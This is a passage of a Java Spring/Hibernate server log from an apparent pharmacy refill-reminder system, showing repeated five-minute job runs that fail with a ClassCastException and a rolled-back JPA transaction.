org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.service.RefillReminderService$$EnhancerBySpringCGLIB$$169b955b.sendRenewalRefillReminder() at com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob(RenewalRxReminderJob.java:48) at com.ssa.cms.remainder.RenewalRxReminderJob$$FastClassBySpringCGLIB$$9c5c90d5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.aop.interceptor.AsyncExecutionInterceptor$1.call(AsyncExecutionInterceptor.java:110) at java.util.concurrent.FutureTask.run(FutureTask.java:266) at java.lang.Thread.run(Thread.java:748) 2024-02-25 02:35:00 ERROR SimpleAsyncUncaughtExceptionHandler:37 - Unexpected error occurred invoking async method 'public void com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob()'. org.springframework.transaction.TransactionSystemException: Could not commit JPA transaction; nested exception is javax.persistence.RollbackException: Transaction marked as rollbackOnly at org.springframework.orm.jpa.JpaTransactionManager.doCommit(JpaTransactionManager.java:526) at org.springframework.transaction.support.AbstractPlatformTransactionManager.processCommit(AbstractPlatformTransactionManager.java:757) at org.springframework.transaction.support.AbstractPlatformTransactionManager.commit(AbstractPlatformTransactionManager.java:726) at org.springframework.transaction.interceptor.TransactionAspectSupport.commitTransactionAfterReturning(TransactionAspectSupport.java:515) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:291) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.service.RefillReminderService$$EnhancerBySpringCGLIB$$169b955b.sendRenewalRefillReminder() at com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob(RenewalRxReminderJob.java:48) at com.ssa.cms.remainder.RenewalRxReminderJob$$FastClassBySpringCGLIB$$9c5c90d5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.aop.interceptor.AsyncExecutionInterceptor$1.call(AsyncExecutionInterceptor.java:110) at java.util.concurrent.FutureTask.run(FutureTask.java:266) at java.lang.Thread.run(Thread.java:748) Caused by: javax.persistence.RollbackException: Transaction marked as rollbackOnly at org.hibernate.jpa.internal.TransactionImpl.commit(TransactionImpl.java:74) at org.springframework.orm.jpa.JpaTransactionManager.doCommit(JpaTransactionManager.java:517) ... 16 more 2024-02-25 02:35:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 02:35:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 02:35:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 02:35:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 02:35:00 INFO NextRefillReminderJob:40 - No Refill Messages send false 2024-02-25 02:35:00 INFO NextRefillReminderJob:45 - ...................End Next Refill Reminder Job.............. 2024-02-25 02:40:00 INFO NextRefillReminderJob:46 - ...................Start Next Refill Reminder Job.............. 2024-02-25 02:40:00 INFO NextRefillReminderJob:689 - Total Orders 0 2024-02-25 02:40:00 INFO NextRefillReminderJob:691 - There are no orders available which need next refill reminder (System will return). 2024-02-25 02:40:00 INFO NextRefillReminderJob:53 - No Refill Messages send false 2024-02-25 02:40:00 INFO NextRefillReminderJob:58 - ...................End Next Refill Reminder Job.............. 2024-02-25 02:40:00 INFO RenewalRxReminderJob:45 - ...................Start Renewal Refill Reminder Job.............. 2024-02-25 02:40:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 02:40:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 02:40:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 02:40:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 02:40:00 ERROR RenewalRxReminderJob:1442 - Exception: Next refill reminder -> java.lang.ClassCastException: [Ljava.lang.String; cannot be cast to java.lang.String at org.hibernate.type.descriptor.java.StringTypeDescriptor.unwrap(StringTypeDescriptor.java:39) at org.hibernate.type.descriptor.sql.VarcharTypeDescriptor$1.doBind(VarcharTypeDescriptor.java:64) at org.hibernate.type.descriptor.sql.BasicBinder.bind(BasicBinder.java:90) at org.hibernate.type.AbstractStandardBasicType.nullSafeSet(AbstractStandardBasicType.java:286) at org.hibernate.type.AbstractStandardBasicType.nullSafeSet(AbstractStandardBasicType.java:281) at org.hibernate.param.NamedParameterSpecification.bind(NamedParameterSpecification.java:67) at org.hibernate.loader.hql.QueryLoader.bindParameterValues(QueryLoader.java:616) at org.hibernate.loader.Loader.prepareQueryStatement(Loader.java:1901) at org.hibernate.loader.Loader.executeQueryStatement(Loader.java:1862) at org.hibernate.loader.Loader.executeQueryStatement(Loader.java:1839) at org.hibernate.loader.Loader.doQuery(Loader.java:910) at org.hibernate.loader.Loader.doQueryAndInitializeNonLazyCollections(Loader.java:355) at org.hibernate.loader.Loader.doList(Loader.java:2554) at org.hibernate.loader.Loader.doList(Loader.java:2540) at org.hibernate.loader.Loader.listIgnoreQueryCache(Loader.java:2370) at org.hibernate.loader.Loader.list(Loader.java:2365) at org.hibernate.loader.hql.QueryLoader.list(QueryLoader.java:497) at org.hibernate.hql.internal.ast.QueryTranslatorImpl.list(QueryTranslatorImpl.java:387) at org.hibernate.engine.query.spi.HQLQueryPlan.performList(HQLQueryPlan.java:236) at org.hibernate.internal.SessionImpl.list(SessionImpl.java:1264) at org.hibernate.internal.QueryImpl.list(QueryImpl.java:103) at com.ssa.cms.dao.PatientProfileDAO.getOrdersDetialForRenewal(PatientProfileDAO.java:3259) at com.ssa.cms.dao.PatientProfileDAO$$FastClassBySpringCGLIB$$bf5a5653.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.transaction.interceptor.TransactionInterceptor$1.proceedWithInvocation(TransactionInterceptor.java:99) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:281) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.dao.PatientProfileDAO$$EnhancerBySpringCGLIB$$4ec1bcf9.getOrdersDetialForRenewal() at com.ssa.cms.service.RefillReminderService.sendRenewalRefillReminder(RefillReminderService.java:1363) at com.ssa.cms.service.RefillReminderService$$FastClassBySpringCGLIB$$3fee10f5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.transaction.interceptor.TransactionInterceptor$1.proceedWithInvocation(TransactionInterceptor.java:99) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:281) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.service.RefillReminderService$$EnhancerBySpringCGLIB$$169b955b.sendRenewalRefillReminder() at com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob(RenewalRxReminderJob.java:48) at com.ssa.cms.remainder.RenewalRxReminderJob$$FastClassBySpringCGLIB$$9c5c90d5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.aop.interceptor.AsyncExecutionInterceptor$1.call(AsyncExecutionInterceptor.java:110) at java.util.concurrent.FutureTask.run(FutureTask.java:266) at java.lang.Thread.run(Thread.java:748) 2024-02-25 02:40:00 ERROR SimpleAsyncUncaughtExceptionHandler:37 - Unexpected error occurred invoking async method 'public void com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob()'. org.springframework.transaction.TransactionSystemException: Could not commit JPA transaction; nested exception is javax.persistence.RollbackException: Transaction marked as rollbackOnly at org.springframework.orm.jpa.JpaTransactionManager.doCommit(JpaTransactionManager.java:526) at org.springframework.transaction.support.AbstractPlatformTransactionManager.processCommit(AbstractPlatformTransactionManager.java:757) at org.springframework.transaction.support.AbstractPlatformTransactionManager.commit(AbstractPlatformTransactionManager.java:726) at org.springframework.transaction.interceptor.TransactionAspectSupport.commitTransactionAfterReturning(TransactionAspectSupport.java:515) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:291) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.service.RefillReminderService$$EnhancerBySpringCGLIB$$169b955b.sendRenewalRefillReminder() at com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob(RenewalRxReminderJob.java:48) at com.ssa.cms.remainder.RenewalRxReminderJob$$FastClassBySpringCGLIB$$9c5c90d5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.aop.interceptor.AsyncExecutionInterceptor$1.call(AsyncExecutionInterceptor.java:110) at java.util.concurrent.FutureTask.run(FutureTask.java:266) at java.lang.Thread.run(Thread.java:748) Caused by: javax.persistence.RollbackException: Transaction marked as rollbackOnly at org.hibernate.jpa.internal.TransactionImpl.commit(TransactionImpl.java:74) at org.springframework.orm.jpa.JpaTransactionManager.doCommit(JpaTransactionManager.java:517) ... 16 more 2024-02-25 02:40:00 INFO NextRefillReminderJob:40 - No Refill Messages send false 2024-02-25 02:40:00 INFO NextRefillReminderJob:45 - ...................End Next Refill Reminder Job.............. 2024-02-25 02:45:00 INFO RenewalRxReminderJob:45 - ...................Start Renewal Refill Reminder Job.............. 2024-02-25 02:45:00 INFO NextRefillReminderJob:46 - ...................Start Next Refill Reminder Job.............. 2024-02-25 02:45:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 02:45:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 02:45:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 02:45:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 02:45:00 ERROR RenewalRxReminderJob:1442 - Exception: Next refill reminder -> java.lang.ClassCastException: [Ljava.lang.String; cannot be cast to java.lang.String at org.hibernate.type.descriptor.java.StringTypeDescriptor.unwrap(StringTypeDescriptor.java:39) at org.hibernate.type.descriptor.sql.VarcharTypeDescriptor$1.doBind(VarcharTypeDescriptor.java:64) at org.hibernate.type.descriptor.sql.BasicBinder.bind(BasicBinder.java:90) at org.hibernate.type.AbstractStandardBasicType.nullSafeSet(AbstractStandardBasicType.java:286) at org.hibernate.type.AbstractStandardBasicType.nullSafeSet(AbstractStandardBasicType.java:281) at org.hibernate.param.NamedParameterSpecification.bind(NamedParameterSpecification.java:67) at org.hibernate.loader.hql.QueryLoader.bindParameterValues(QueryLoader.java:616) at org.hibernate.loader.Loader.prepareQueryStatement(Loader.java:1901) at org.hibernate.loader.Loader.executeQueryStatement(Loader.java:1862) at org.hibernate.loader.Loader.executeQueryStatement(Loader.java:1839) at org.hibernate.loader.Loader.doQuery(Loader.java:910) at org.hibernate.loader.Loader.doQueryAndInitializeNonLazyCollections(Loader.java:355) at org.hibernate.loader.Loader.doList(Loader.java:2554) at org.hibernate.loader.Loader.doList(Loader.java:2540) at org.hibernate.loader.Loader.listIgnoreQueryCache(Loader.java:2370) at org.hibernate.loader.Loader.list(Loader.java:2365) at org.hibernate.loader.hql.QueryLoader.list(QueryLoader.java:497) at org.hibernate.hql.internal.ast.QueryTranslatorImpl.list(QueryTranslatorImpl.java:387) at org.hibernate.engine.query.spi.HQLQueryPlan.performList(HQLQueryPlan.java:236) at org.hibernate.internal.SessionImpl.list(SessionImpl.java:1264) at org.hibernate.internal.QueryImpl.list(QueryImpl.java:103) at com.ssa.cms.dao.PatientProfileDAO.getOrdersDetialForRenewal(PatientProfileDAO.java:3259) at com.ssa.cms.dao.PatientProfileDAO$$FastClassBySpringCGLIB$$bf5a5653.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.transaction.interceptor.TransactionInterceptor$1.proceedWithInvocation(TransactionInterceptor.java:99) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:281) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.dao.PatientProfileDAO$$EnhancerBySpringCGLIB$$4ec1bcf9.getOrdersDetialForRenewal() at com.ssa.cms.service.RefillReminderService.sendRenewalRefillReminder(RefillReminderService.java:1363) at com.ssa.cms.service.RefillReminderService$$FastClassBySpringCGLIB$$3fee10f5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.transaction.interceptor.TransactionInterceptor$1.proceedWithInvocation(TransactionInterceptor.java:99) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:281) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.service.RefillReminderService$$EnhancerBySpringCGLIB$$169b955b.sendRenewalRefillReminder() at com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob(RenewalRxReminderJob.java:48) at com.ssa.cms.remainder.RenewalRxReminderJob$$FastClassBySpringCGLIB$$9c5c90d5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.aop.interceptor.AsyncExecutionInterceptor$1.call(AsyncExecutionInterceptor.java:110) at java.util.concurrent.FutureTask.run(FutureTask.java:266) at java.lang.Thread.run(Thread.java:748) 2024-02-25 02:45:00 ERROR SimpleAsyncUncaughtExceptionHandler:37 - Unexpected error occurred invoking async method 'public void com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob()'. org.springframework.transaction.TransactionSystemException: Could not commit JPA transaction; nested exception is javax.persistence.RollbackException: Transaction marked as rollbackOnly at org.springframework.orm.jpa.JpaTransactionManager.doCommit(JpaTransactionManager.java:526) at org.springframework.transaction.support.AbstractPlatformTransactionManager.processCommit(AbstractPlatformTransactionManager.java:757) at org.springframework.transaction.support.AbstractPlatformTransactionManager.commit(AbstractPlatformTransactionManager.java:726) at org.springframework.transaction.interceptor.TransactionAspectSupport.commitTransactionAfterReturning(TransactionAspectSupport.java:515) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:291) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.service.RefillReminderService$$EnhancerBySpringCGLIB$$169b955b.sendRenewalRefillReminder() at com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob(RenewalRxReminderJob.java:48) at com.ssa.cms.remainder.RenewalRxReminderJob$$FastClassBySpringCGLIB$$9c5c90d5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.aop.interceptor.AsyncExecutionInterceptor$1.call(AsyncExecutionInterceptor.java:110) at java.util.concurrent.FutureTask.run(FutureTask.java:266) at java.lang.Thread.run(Thread.java:748) Caused by: javax.persistence.RollbackException: Transaction marked as rollbackOnly at org.hibernate.jpa.internal.TransactionImpl.commit(TransactionImpl.java:74) at org.springframework.orm.jpa.JpaTransactionManager.doCommit(JpaTransactionManager.java:517) ... 16 more 2024-02-25 02:45:00 INFO NextRefillReminderJob:689 - Total Orders 0 2024-02-25 02:45:00 INFO NextRefillReminderJob:691 - There are no orders available which need next refill reminder (System will return). 2024-02-25 02:45:00 INFO NextRefillReminderJob:53 - No Refill Messages send false 2024-02-25 02:45:00 INFO NextRefillReminderJob:58 - ...................End Next Refill Reminder Job.............. 2024-02-25 02:45:00 INFO NextRefillReminderJob:40 - No Refill Messages send false 2024-02-25 02:45:00 INFO NextRefillReminderJob:45 - ...................End Next Refill Reminder Job.............. 2024-02-25 02:50:00 INFO NextRefillReminderJob:46 - ...................Start Next Refill Reminder Job.............. 2024-02-25 02:50:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 02:50:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 02:50:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 02:50:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 02:50:00 INFO RenewalRxReminderJob:45 - ...................Start Renewal Refill Reminder Job.............. 2024-02-25 02:50:00 INFO NextRefillReminderJob:689 - Total Orders 0 2024-02-25 02:50:00 INFO NextRefillReminderJob:691 - There are no orders available which need next refill reminder (System will return). 2024-02-25 02:50:00 INFO NextRefillReminderJob:53 - No Refill Messages send false 2024-02-25 02:50:00 INFO NextRefillReminderJob:58 - ...................End Next Refill Reminder Job.............. 2024-02-25 02:50:00 INFO NextRefillReminderJob:40 - No Refill Messages send false 2024-02-25 02:50:00 INFO NextRefillReminderJob:45 - ...................End Next Refill Reminder Job.............. 2024-02-25 02:50:00 ERROR RenewalRxReminderJob:1442 - Exception: Next refill reminder -> java.lang.ClassCastException: [Ljava.lang.String; cannot be cast to java.lang.String at org.hibernate.type.descriptor.java.StringTypeDescriptor.unwrap(StringTypeDescriptor.java:39) at org.hibernate.type.descriptor.sql.VarcharTypeDescriptor$1.doBind(VarcharTypeDescriptor.java:64) at org.hibernate.type.descriptor.sql.BasicBinder.bind(BasicBinder.java:90) at org.hibernate.type.AbstractStandardBasicType.nullSafeSet(AbstractStandardBasicType.java:286) at org.hibernate.type.AbstractStandardBasicType.nullSafeSet(AbstractStandardBasicType.java:281) at org.hibernate.param.NamedParameterSpecification.bind(NamedParameterSpecification.java:67) at org.hibernate.loader.hql.QueryLoader.bindParameterValues(QueryLoader.java:616) at org.hibernate.loader.Loader.prepareQueryStatement(Loader.java:1901) at org.hibernate.loader.Loader.executeQueryStatement(Loader.java:1862) at org.hibernate.loader.Loader.executeQueryStatement(Loader.java:1839) at org.hibernate.loader.Loader.doQuery(Loader.java:910) at org.hibernate.loader.Loader.doQueryAndInitializeNonLazyCollections(Loader.java:355) at org.hibernate.loader.Loader.doList(Loader.java:2554) at org.hibernate.loader.Loader.doList(Loader.java:2540) at org.hibernate.loader.Loader.listIgnoreQueryCache(Loader.java:2370) at org.hibernate.loader.Loader.list(Loader.java:2365) at org.hibernate.loader.hql.QueryLoader.list(QueryLoader.java:497) at org.hibernate.hql.internal.ast.QueryTranslatorImpl.list(QueryTranslatorImpl.java:387) at org.hibernate.engine.query.spi.HQLQueryPlan.performList(HQLQueryPlan.java:236) at org.hibernate.internal.SessionImpl.list(SessionImpl.java:1264) at org.hibernate.internal.QueryImpl.list(QueryImpl.java:103) at com.ssa.cms.dao.PatientProfileDAO.getOrdersDetialForRenewal(PatientProfileDAO.java:3259) at com.ssa.cms.dao.PatientProfileDAO$$FastClassBySpringCGLIB$$bf5a5653.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.transaction.interceptor.TransactionInterceptor$1.proceedWithInvocation(TransactionInterceptor.java:99) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:281) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.dao.PatientProfileDAO$$EnhancerBySpringCGLIB$$4ec1bcf9.getOrdersDetialForRenewal() at com.ssa.cms.service.RefillReminderService.sendRenewalRefillReminder(RefillReminderService.java:1363) at com.ssa.cms.service.RefillReminderService$$FastClassBySpringCGLIB$$3fee10f5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.transaction.interceptor.TransactionInterceptor$1.proceedWithInvocation(TransactionInterceptor.java:99) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:281) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.service.RefillReminderService$$EnhancerBySpringCGLIB$$169b955b.sendRenewalRefillReminder() at com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob(RenewalRxReminderJob.java:48) at com.ssa.cms.remainder.RenewalRxReminderJob$$FastClassBySpringCGLIB$$9c5c90d5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.aop.interceptor.AsyncExecutionInterceptor$1.call(AsyncExecutionInterceptor.java:110) at java.util.concurrent.FutureTask.run(FutureTask.java:266) at java.lang.Thread.run(Thread.java:748) 2024-02-25 02:50:00 ERROR SimpleAsyncUncaughtExceptionHandler:37 - Unexpected error occurred invoking async method 'public void com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob()'. org.springframework.transaction.TransactionSystemException: Could not commit JPA transaction; nested exception is javax.persistence.RollbackException: Transaction marked as rollbackOnly at org.springframework.orm.jpa.JpaTransactionManager.doCommit(JpaTransactionManager.java:526) at org.springframework.transaction.support.AbstractPlatformTransactionManager.processCommit(AbstractPlatformTransactionManager.java:757) at org.springframework.transaction.support.AbstractPlatformTransactionManager.commit(AbstractPlatformTransactionManager.java:726) at org.springframework.transaction.interceptor.TransactionAspectSupport.commitTransactionAfterReturning(TransactionAspectSupport.java:515) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:291) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.service.RefillReminderService$$EnhancerBySpringCGLIB$$169b955b.sendRenewalRefillReminder() at com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob(RenewalRxReminderJob.java:48) at com.ssa.cms.remainder.RenewalRxReminderJob$$FastClassBySpringCGLIB$$9c5c90d5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.aop.interceptor.AsyncExecutionInterceptor$1.call(AsyncExecutionInterceptor.java:110) at java.util.concurrent.FutureTask.run(FutureTask.java:266) at java.lang.Thread.run(Thread.java:748) Caused by: javax.persistence.RollbackException: Transaction marked as rollbackOnly at org.hibernate.jpa.internal.TransactionImpl.commit(TransactionImpl.java:74) at org.springframework.orm.jpa.JpaTransactionManager.doCommit(JpaTransactionManager.java:517) ... 16 more 2024-02-25 02:55:00 INFO NextRefillReminderJob:46 - ...................Start Next Refill Reminder Job.............. 2024-02-25 02:55:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 02:55:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 02:55:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 02:55:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 02:55:00 INFO RenewalRxReminderJob:45 - ...................Start Renewal Refill Reminder Job.............. 2024-02-25 02:55:00 INFO NextRefillReminderJob:40 - No Refill Messages send false 2024-02-25 02:55:00 INFO NextRefillReminderJob:45 - ...................End Next Refill Reminder Job.............. 2024-02-25 02:55:00 ERROR RenewalRxReminderJob:1442 - Exception: Next refill reminder -> java.lang.ClassCastException: [Ljava.lang.String; cannot be cast to java.lang.String at org.hibernate.type.descriptor.java.StringTypeDescriptor.unwrap(StringTypeDescriptor.java:39) at org.hibernate.type.descriptor.sql.VarcharTypeDescriptor$1.doBind(VarcharTypeDescriptor.java:64) at org.hibernate.type.descriptor.sql.BasicBinder.bind(BasicBinder.java:90) at org.hibernate.type.AbstractStandardBasicType.nullSafeSet(AbstractStandardBasicType.java:286) at org.hibernate.type.AbstractStandardBasicType.nullSafeSet(AbstractStandardBasicType.java:281) at org.hibernate.param.NamedParameterSpecification.bind(NamedParameterSpecification.java:67) at org.hibernate.loader.hql.QueryLoader.bindParameterValues(QueryLoader.java:616) at org.hibernate.loader.Loader.prepareQueryStatement(Loader.java:1901) at org.hibernate.loader.Loader.executeQueryStatement(Loader.java:1862) at org.hibernate.loader.Loader.executeQueryStatement(Loader.java:1839) at org.hibernate.loader.Loader.doQuery(Loader.java:910) at org.hibernate.loader.Loader.doQueryAndInitializeNonLazyCollections(Loader.java:355) at org.hibernate.loader.Loader.doList(Loader.java:2554) at org.hibernate.loader.Loader.doList(Loader.java:2540) at org.hibernate.loader.Loader.listIgnoreQueryCache(Loader.java:2370) at org.hibernate.loader.Loader.list(Loader.java:2365) at org.hibernate.loader.hql.QueryLoader.list(QueryLoader.java:497) at org.hibernate.hql.internal.ast.QueryTranslatorImpl.list(QueryTranslatorImpl.java:387) at org.hibernate.engine.query.spi.HQLQueryPlan.performList(HQLQueryPlan.java:236) at org.hibernate.internal.SessionImpl.list(SessionImpl.java:1264) at org.hibernate.internal.QueryImpl.list(QueryImpl.java:103) at com.ssa.cms.dao.PatientProfileDAO.getOrdersDetialForRenewal(PatientProfileDAO.java:3259) at com.ssa.cms.dao.PatientProfileDAO$$FastClassBySpringCGLIB$$bf5a5653.invoke() at 